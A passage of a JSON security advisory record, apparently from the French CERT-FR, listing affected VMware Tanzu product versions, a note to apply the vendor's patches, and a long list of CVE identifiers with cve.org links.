      "description": "VMware Tanzu GemFire Management Console versions ant\u00e9rieures \u00e0 1.5.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Data Flow pour Kubernetes versions ant\u00e9rieures \u00e0 2.1.7",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 2.4.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire Vector Database versions ant\u00e9rieures \u00e0 1.2.3",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Data Copy Utility versions ant\u00e9rieures \u00e0 2.9.8",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum pour Kubernetes versions ant\u00e9rieures \u00e0 1.2.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Command Center versions ant\u00e9rieures \u00e0 7.8.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire .NET Client versions ant\u00e9rieures \u00e0 1.0.3",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Backup and Restore versions ant\u00e9rieures \u00e0 1.34.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "Vmware Spring Cloud Gateway pour Kubernetes versions ant\u00e9rieures \u00e0 2.3.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu GemFire Session Management versions ant\u00e9rieures \u00e0 2.0.1",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Text versions ant\u00e9rieures \u00e0 4.1.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "VMware Tanzu Greenplum Streaming Server versions ant\u00e9rieures \u00e0 1.4.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    },
    {
      "description": "SQL Assistant for VMware Tanzu Data Intelligence versions ant\u00e9rieures \u00e0  1.1.0",
      "product": {
        "name": "N/A",
        "vendor": {
          "name": "VMware",
          "scada": false
        }
      }
    }
  ],
  "affected_systems_content": "",
  "content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
  "cves": [
    {
      "name": "CVE-2025-6395",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
    },
    {
      "name": "CVE-2026-90828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90828"
    },
    {
      "name": "CVE-2026-75595",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75595"
    },
    {
      "name": "CVE-2026-14671",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14671"
    },
    {
      "name": "CVE-2026-14380",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14380"
    },
    {
      "name": "CVE-2026-12061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12061"
    },
    {
      "name": "CVE-2026-53910",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53910"
    },
    {
      "name": "CVE-2026-54293",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54293"
    },
    {
      "name": "CVE-2025-8715",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8715"
    },
    {
      "name": "CVE-2026-56404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56404"
    },
    {
      "name": "CVE-2026-58055",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58055"
    },
    {
      "name": "CVE-2026-49978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49978"
    },
    {
      "name": "CVE-2025-66506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66506"
    },
    {
      "name": "CVE-2022-27943",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-27943"
    },
    {
      "name": "CVE-2025-66865",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66865"
    },
    {
      "name": "CVE-2026-32777",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32777"
    },
    {
      "name": "CVE-2026-70007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70007"
    },
    {
      "name": "CVE-2026-93565",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93565"
    },
    {
      "name": "CVE-2025-61730",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-61730"
    },
    {
      "name": "CVE-2026-54369",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54369"
    },
    {
      "name": "CVE-2026-27135",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27135"
    },
    {
      "name": "CVE-2026-47221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47221"
    },
    {
      "name": "CVE-2026-97206",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97206"
    },
    {
      "name": "CVE-2025-3264",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3264"
    },
    {
      "name": "CVE-2025-53547",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-53547"
    },
    {
      "name": "CVE-2026-47204",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47204"
    },
    {
      "name": "CVE-2026-42308",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42308"
    },
    {
      "name": "CVE-2026-12252",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12252"
    },
    {
      "name": "CVE-2026-100666",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-100666"
    },
    {
      "name": "CVE-2025-31115",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-31115"
    },
    {
      "name": "CVE-2025-58183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
    },
    {
      "name": "CVE-2026-82417",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82417"
    },
    {
      "name": "CVE-2025-15282",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-15282"
    },
    {
      "name": "CVE-2018-1115",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1115"
    },
    {
      "name": "CVE-2026-71890",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71890"
    },
    {
      "name": "CVE-2026-48776",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48776"
    },
    {
      "name": "CVE-2026-93494",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93494"
    },
    {
      "name": "CVE-2025-58190",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58190"
    },
    {
      "name": "CVE-2026-33947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33947"
    },
    {
      "name": "CVE-2026-4878",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-4878"
    },
    {
      "name": "CVE-2026-11940",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11940"
    },
    {
      "name": "CVE-2026-17106",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-17106"
    },
    {
      "name": "CVE-2026-27205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27205"
    },
    {
      "name": "CVE-2026-59205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59205"
    },
    {
      "name": "CVE-2026-33845",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33845"
    },
    {
      "name": "CVE-2026-102598",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-102598"
    },
    {
      "name": "CVE-2026-56288",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56288"
    },
    {
      "name": "CVE-2026-34743",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34743"
    },
    {
      "name": "CVE-2026-25087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25087"
    },
    {
      "name": "CVE-2026-56862",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56862"
    },
    {
      "name": "CVE-2025-68973",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
    },
    {
      "name": "CVE-2026-89092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89092"
    },
    {
      "name": "CVE-2026-94265",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
    },
    {
      "name": "CVE-2026-115455",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-115455"
    },
    {
      "name": "CVE-2026-53613",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53613"
    },
    {
      "name": "CVE-2026-53614",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53614"
    },
    {
      "name": "CVE-2026-59995",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59995"
    },
    {
      "name": "CVE-2026-44405",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44405"
    },
    {
      "name": "CVE-2026-53877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53877"
    },
    {
      "name": "CVE-2026-50252",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50252"
    },
    {
      "name": "CVE-2026-16239",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16239"
    },
    {
      "name": "CVE-2026-97032",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97032"
    },
    {
      "name": "CVE-2026-42309",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
    },
    {
      "name": "CVE-2026-42507",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42507"
    },
    {
      "name": "CVE-2026-33818",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33818"
    },
    {
      "name": "CVE-2026-12075",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12075"
    },
    {
      "name": "CVE-2026-77407",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77407"
    },
    {
      "name": "CVE-2026-6474",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
    },
    {
      "name": "CVE-2026-42306",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42306"
    },
    {
      "name": "CVE-2026-15742",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15742"
    },
    {
      "name": "CVE-2025-10148",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
    },
    {
      "name": "CVE-2026-39830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39830"
    },
    {
      "name": "CVE-2026-63384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63384"
    },
    {
      "name": "CVE-2025-25724",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-25724"
    },
    {
      "name": "CVE-2026-6472",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
    },
    {
      "name": "CVE-2025-14087",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
    },
    {
      "name": "CVE-2026-6469",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6469"
    },
    {
      "name": "CVE-2026-34180",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
    },
    {
      "name": "CVE-2026-68763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68763"
    },
    {
      "name": "CVE-2026-5160",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-5160"
    },
    {
      "name": "CVE-2026-41637",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41637"
    },
    {
      "name": "CVE-2026-86805",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86805"
    },
    {
      "name": "CVE-2026-1669",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1669"
    },
    {
      "name": "CVE-2026-96234",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96234"
    },
    {
      "name": "CVE-2026-39956",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39956"
    },
    {
      "name": "CVE-2026-71886",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71886"
    },
    {
      "name": "CVE-2026-45416",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45416"
    },
    {
      "name": "CVE-2026-6846",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6846"
    },
    {
      "name": "CVE-2025-69645",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69645"
    },
    {
      "name": "CVE-2026-73228",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73228"
    },
    {
      "name": "CVE-2026-33186",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
    },
    {
      "name": "CVE-2025-7545",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-7545"
    },
    {
      "name": "CVE-2026-39826",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39826"
    },
    {
      "name": "CVE-2026-45404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45404"
    },
    {
      "name": "CVE-2026-104851",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-104851"
    },
    {
      "name": "CVE-2026-44687",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44687"
    },
    {
      "name": "CVE-2026-81723",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81723"
    },
    {
      "name": "CVE-2026-78660",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78660"
    },
    {
      "name": "CVE-2026-18374",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18374"
    },
    {
      "name": "CVE-2026-80489",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-80489"
    },
    {
      "name": "CVE-2026-75806",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75806"
    },
    {
      "name": "CVE-2026-77696",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77696"
    },
    {
      "name": "CVE-2026-19667",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-19667"
    },
    {
      "name": "CVE-2026-42766",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
    },
    {
      "name": "CVE-2026-96636",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
    },
    {
      "name": "CVE-2025-8556",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
    },
    {
      "name": "CVE-2026-12481",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12481"
    },
    {
      "name": "CVE-2026-112392",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
    },
    {
      "name": "CVE-2026-13346",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13346"
    },
    {
      "name": "CVE-2026-59848",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59848"
    },
    {
      "name": "CVE-2026-44740",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44740"
    },
    {
      "name": "CVE-2026-53783",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-53783"
    },
    {
      "name": "CVE-2026-47692",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47692"
    },
    {
      "name": "CVE-2026-9076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
    },
    {
      "name": "CVE-2026-50560",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50560"
    },
    {
      "name": "CVE-2026-73508",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73508"
    },
    {
      "name": "CVE-2026-95521",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95521"
    },
    {
      "name": "CVE-2025-22872",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
    },
    {
      "name": "CVE-2026-12482",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12482"
    },
    {
      "name": "CVE-2026-15310",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-15310"
    },
    {
      "name": "CVE-2025-8277",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8277"
    },
    {
      "name": "CVE-2025-8941",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-8941"
    },
    {
      "name": "CVE-2026-87863",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
    },
    {
      "name": "CVE-2026-42508",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42508"
    },
    {
      "name": "CVE-2026-84445",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-84445"
    },
    {
      "name": "CVE-2021-3572",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-3572"
    },
    {
      "name": "CVE-2025-66866",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-66866"
    },
    {
      "name": "CVE-2026-13608",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13608"
    },
    {
      "name": "CVE-2026-107161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107161"
    },
    {
      "name": "CVE-2026-90830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-90830"
    },
    {
      "name": "CVE-2026-77791",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-77791"
    },
    {
      "name": "CVE-2026-114583",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-114583"
    },
    {
      "name": "CVE-2026-63209",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63209"
    },
    {
      "name": "CVE-2026-32286",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32286"
    },
    {
      "name": "CVE-2025-32386",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-32386"
    },
    {
      "name": "CVE-2026-6479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
    },
    {
      "name": "CVE-2026-43894",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43894"
    },
    {
      "name": "CVE-2025-11840",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11840"
    },
    {
      "name": "CVE-2026-93578",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93578"
    },
    {
      "name": "CVE-2024-52005",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-52005"
    },
    {
      "name": "CVE-2026-39984",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39984"
    },
    {
      "name": "CVE-2026-42496",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42496"
    },
    {
      "name": "CVE-2023-54404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-54404"
    },
    {
      "name": "CVE-2026-59999",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59999"
    },
    {
      "name": "CVE-2026-40468",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40468"
    },
    {
      "name": "CVE-2026-1965",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1965"
    },
    {
      "name": "CVE-2026-76183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-76183"
    },
    {
      "name": "CVE-2026-40467",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40467"
    },
    {
      "name": "CVE-2026-112944",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112944"
    },
    {
      "name": "CVE-2026-54514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54514"
    },
    {
      "name": "CVE-2026-46718",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46718"
    },
    {
      "name": "CVE-2026-34181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34181"
    },
    {
      "name": "CVE-2026-106450",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106450"
    },
    {
      "name": "CVE-2026-35189",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35189"
    },
    {
      "name": "CVE-2026-47207",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47207"
    },
    {
      "name": "CVE-2026-97687",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97687"
    },
    {
      "name": "CVE-2026-32327",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32327"
    },
    {
      "name": "CVE-2025-0913",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
    },
    {
      "name": "CVE-2024-26147",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26147"
    },
    {
      "name": "CVE-2026-81870",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-81870"
    },
    {
      "name": "CVE-2026-93568",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93568"
    },
    {
      "name": "CVE-2026-55276",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-55276"
    },
    {
      "name": "CVE-2026-25990",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-25990"
    },
    {
      "name": "CVE-2026-58013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58013"
    },
    {
      "name": "CVE-2020-25694",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-25694"
    },
    {
      "name": "CVE-2026-32288",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32288"
    },
    {
      "name": "CVE-2026-56416",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56416"
    },
    {
      "name": "CVE-2026-41568",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41568"
    },
    {
      "name": "CVE-2026-95210",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95210"
    },
    {
      "name": "CVE-2026-12345",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12345"
    },
    {
      "name": "CVE-2026-97030",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-97030"
    },
    {
      "name": "CVE-2025-46835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-46835"
    },
    {
      "name": "CVE-2026-96233",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96233"
    },
    {
      "name": "CVE-2025-47907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
    },
    {
      "name": "CVE-2025-1181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1181"
    },
    {
      "name": "CVE-2026-107928",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
    },
    {
      "name": "CVE-2026-42497",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42497"
    },
    {
      "name": "CVE-2022-41409",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-41409"
    },
    {
      "name": "CVE-2026-66007",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66007"
    },
    {
      "name": "CVE-2025-12084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
    },
    {
      "name": "CVE-2026-47892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47892"
    },
    {
      "name": "CVE-2026-59921",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59921"
    },
    {
      "name": "CVE-2026-71514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-71514"
    },
    {
      "name": "CVE-2026-0897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-0897"
    },
    {
      "name": "CVE-2026-91779",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91779"
    },
    {
      "name": "CVE-2026-42770",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42770"
    },
    {
      "name": "CVE-2025-5197",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-5197"
    },
    {
      "name": "CVE-2026-26309",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-26309"
    },
    {
      "name": "CVE-2026-54058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54058"
    },
    {
      "name": "CVE-2024-47611",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47611"
    },
    {
      "name": "CVE-2026-89156",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-89156"
    },
    {
      "name": "CVE-2026-78682",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-78682"
    },
    {
      "name": "CVE-2025-45582",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
    },
    {
      "name": "CVE-2026-91776",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-91776"
    },
    {
      "name": "CVE-2025-46569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-46569"
    },
    {
      "name": "CVE-2026-27138",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27138"
    },
    {
      "name": "CVE-2025-11468",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-11468"
    },
    {
      "name": "CVE-2026-86414",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
    },
    {
      "name": "CVE-2026-82208",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-82208"
    },
    {
      "name": "CVE-2026-40355",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40355"
    },
    {
      "name": "CVE-2026-12479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12479"
    },
    {
      "name": "CVE-2026-8926",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8926"
    },
    {
      "name": "CVE-2026-95837",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-95837"
    },
    {
      "name": "CVE-2026-93491",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93491"
    },
    {
      "name": "CVE-2026-32284",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32284"
    },
    {
      "name": "CVE-2026-96778",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
    },
    {
      "name": "CVE-2023-45288",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-45288"
    },
    {
      "name": "CVE-2026-46675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46675"
    },
    {
      "name": "CVE-2026-45673",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45673"
    },
    {
      "name": "CVE-2026-73282",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-73282"
    },
    {
      "name": "CVE-2026-3446",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3446"
    },
    {
      "name": "CVE-2026-32875",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-32875"
    },
    {
      "name": "CVE-2026-106452",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-106452"
    },
    {
      "name": "CVE-2026-39822",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39822"
    },
    {
      "name": "CVE-2026-111748",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111748"
    },
    {
      "name": "CVE-2026-112910",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112910"
    },
    {
      "name": "CVE-2026-39833",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-39833"
    },
    {
      "name": "CVE-2026-112398",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
    },
    {
      "name": "CVE-2025-2149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2149"
    },
    {
      "name": "CVE-2025-69419",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
    },
    {
      "name": "CVE-2025-6052",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-6052"
    },
    {
      "name": "CVE-2026-3783",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-3783"
    },
    {
      "name": "CVE-2026-66822",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66822"
    },
    {
      "name": "CVE-2026-13221",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13221"
    },
    {
      "name": "CVE-2026-34502",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34502"
    },
    {
      "name": "CVE-2026-33814",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33814"
    },
    {
      "name": "CVE-2026-23831",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-23831"
    },
    {
      "name": "CVE-2026-27456",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27456"
    },
    {
      "name": "CVE-2026-96225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-96225"
    },
    {
      "name": "CVE-2026-22701",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22701"
    },
    {
      "name": "CVE-2026-33748",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33748"
    },
    {
      "name": "CVE-2026-63074",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-63074"
    },
    {
      "name": "CVE-2026-88815",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-88815"
    },
    {
      "name": "CVE-2026-111943",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-111943"
    },
    {
      "name": "CVE-2026-68569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68569"
    },
    {
      "name": "CVE-2025-2953",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2953"
    },
    {
      "name": "CVE-2026-8458",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-8458"
    },
    {
      "name": "CVE-2026-59084",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59084"
    },
    {
      "name": "CVE-2026-14586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14586"
    },
    {
      "name": "CVE-2026-93493",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-93493"
    },
    {
      "name": "CVE-2025-58185",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
    },
    {
      "name": "CVE-2026-65183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65183"
    },
    {
      "name": "CVE-2026-85501",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-85501"
    },
    {
      "name": "CVE-2025-3933",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3933"
    },
    {
      "name": "CVE-2025-49794",
